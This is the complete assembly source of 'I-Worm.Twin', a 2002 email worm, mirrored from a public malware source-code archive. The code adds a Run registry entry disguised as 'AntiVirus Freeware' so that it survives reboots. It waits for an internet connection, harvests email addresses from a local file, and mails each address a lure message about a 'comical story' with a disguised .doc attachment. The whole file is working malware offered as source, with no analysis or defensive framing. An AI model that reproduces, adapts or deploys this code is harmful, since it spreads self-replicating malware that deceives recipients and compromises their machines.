mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
198 lines
2.6 KiB
NASM
198 lines
2.6 KiB
NASM
|
comment #
|
||
|
Name : I-Worm.Twin
|
||
|
Author : PetiK
|
||
|
Date : January 30th 2002 - February 1st 2002
|
||
|
Size : 6656 bytes
|
||
|
|
||
|
Action : See yourself. It's not complex.
|
||
|
#
|
||
|
|
||
|
.586p
|
||
|
.model flat
|
||
|
.code
|
||
|
|
||
|
JUMPS
|
||
|
|
||
|
api macro a
|
||
|
extrn a:proc
|
||
|
call a
|
||
|
endm
|
||
|
|
||
|
include useful.inc
|
||
|
include myinclude.inc
|
||
|
|
||
|
start: push 50
|
||
|
mov esi,offset orig_worm
|
||
|
push esi
|
||
|
push 0
|
||
|
api GetModuleFileNameA
|
||
|
|
||
|
push 25
|
||
|
push esi
|
||
|
push 1
|
||
|
@pushsz "AntiVirus Freeware"
|
||
|
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||
|
push 80000002h
|
||
|
api SHSetValueA
|
||
|
|
||
|
@pushsz "C:\twin.vbs"
|
||
|
api DeleteFileA
|
||
|
|
||
|
push 50
|
||
|
push offset pathname
|
||
|
api GetWindowsDirectoryA
|
||
|
@pushsz "\NetInfo.doc"
|
||
|
push offset pathname
|
||
|
api lstrcat
|
||
|
|
||
|
verif_inet:
|
||
|
push 0
|
||
|
push offset inet
|
||
|
api InternetGetConnectedState
|
||
|
dec eax
|
||
|
jnz verif_inet
|
||
|
|
||
|
push 0
|
||
|
push 0
|
||
|
push 3
|
||
|
push 0
|
||
|
push 1
|
||
|
push 80000000h
|
||
|
@pushsz "C:\backup.win"
|
||
|
api CreateFileA
|
||
|
inc eax
|
||
|
je end_worm
|
||
|
dec eax
|
||
|
xchg ebx,eax
|
||
|
|
||
|
push 0
|
||
|
push 0
|
||
|
push 0
|
||
|
push 2
|
||
|
push 0
|
||
|
push ebx
|
||
|
api CreateFileMappingA
|
||
|
test eax,eax
|
||
|
je end_w1
|
||
|
xchg eax,ebp
|
||
|
|
||
|
push 0
|
||
|
push 0
|
||
|
push 0
|
||
|
push 4
|
||
|
push ebp
|
||
|
api MapViewOfFile
|
||
|
test eax,eax
|
||
|
je end_w2
|
||
|
xchg eax,esi
|
||
|
|
||
|
push 0
|
||
|
push ebx
|
||
|
api GetFileSize
|
||
|
cmp eax,3
|
||
|
jbe end_w3
|
||
|
|
||
|
scan_mail:
|
||
|
xor edx,edx
|
||
|
mov edi,offset mail_addr
|
||
|
push edi
|
||
|
p_c: lodsb
|
||
|
cmp al," "
|
||
|
je car_s
|
||
|
cmp al,0dh
|
||
|
je entr1
|
||
|
cmp al,0ah
|
||
|
je entr2
|
||
|
cmp al,"#"
|
||
|
je f_mail
|
||
|
cmp al,'@'
|
||
|
jne not_a
|
||
|
inc edx
|
||
|
not_a: stosb
|
||
|
jmp p_c
|
||
|
car_s: inc esi
|
||
|
jmp p_c
|
||
|
entr1: xor al,al
|
||
|
stosb
|
||
|
pop edi
|
||
|
test edx,edx
|
||
|
je scan_mail
|
||
|
call send_mail
|
||
|
jmp scan_mail
|
||
|
entr2: xor al,al
|
||
|
stosb
|
||
|
pop edi
|
||
|
jmp scan_mail
|
||
|
f_mail:
|
||
|
|
||
|
end_w3: push esi
|
||
|
api UnmapViewOfFile
|
||
|
end_w2: push ebp
|
||
|
api CloseHandle
|
||
|
end_w1: push ebx
|
||
|
api CloseHandle
|
||
|
|
||
|
|
||
|
end_worm:
|
||
|
push 0
|
||
|
api ExitProcess
|
||
|
|
||
|
send_mail:
|
||
|
xor eax,eax
|
||
|
push eax
|
||
|
push eax
|
||
|
push offset Message
|
||
|
push eax
|
||
|
push [sess]
|
||
|
api MAPISendMail
|
||
|
ret
|
||
|
|
||
|
.data
|
||
|
orig_worm db 50 dup (0)
|
||
|
pathname db 50 dup (0)
|
||
|
mail_addr db 128 dup (?)
|
||
|
inet dd 0
|
||
|
sess dd 0
|
||
|
|
||
|
subject db "A comical story for you.",0
|
||
|
body db "I send you a comical story found on the Net.",0dh,0ah,0dh,0ah
|
||
|
db 9,"Best Regards. You friend.",0
|
||
|
filename db "comical_story.doc",0
|
||
|
|
||
|
Message dd ?
|
||
|
dd offset subject
|
||
|
dd offset body
|
||
|
dd ?
|
||
|
dd ?
|
||
|
dd ?
|
||
|
dd 2
|
||
|
dd offset MsgFrom
|
||
|
dd 1
|
||
|
dd offset MsgTo
|
||
|
dd 1
|
||
|
dd offset Attach
|
||
|
|
||
|
MsgFrom dd ?
|
||
|
dd ?
|
||
|
dd ?
|
||
|
dd ?
|
||
|
dd ?
|
||
|
dd ?
|
||
|
|
||
|
MsgTo dd ?
|
||
|
dd 1
|
||
|
dd offset mail_addr
|
||
|
dd offset mail_addr
|
||
|
dd ?
|
||
|
dd ?
|
||
|
|
||
|
Attach dd ?
|
||
|
dd ?
|
||
|
dd ?
|
||
|
dd offset pathname
|
||
|
dd offset filename
|
||
|
dd ?
|
||
|
|
||
|
|
||
|
end start
|
||
|
end
|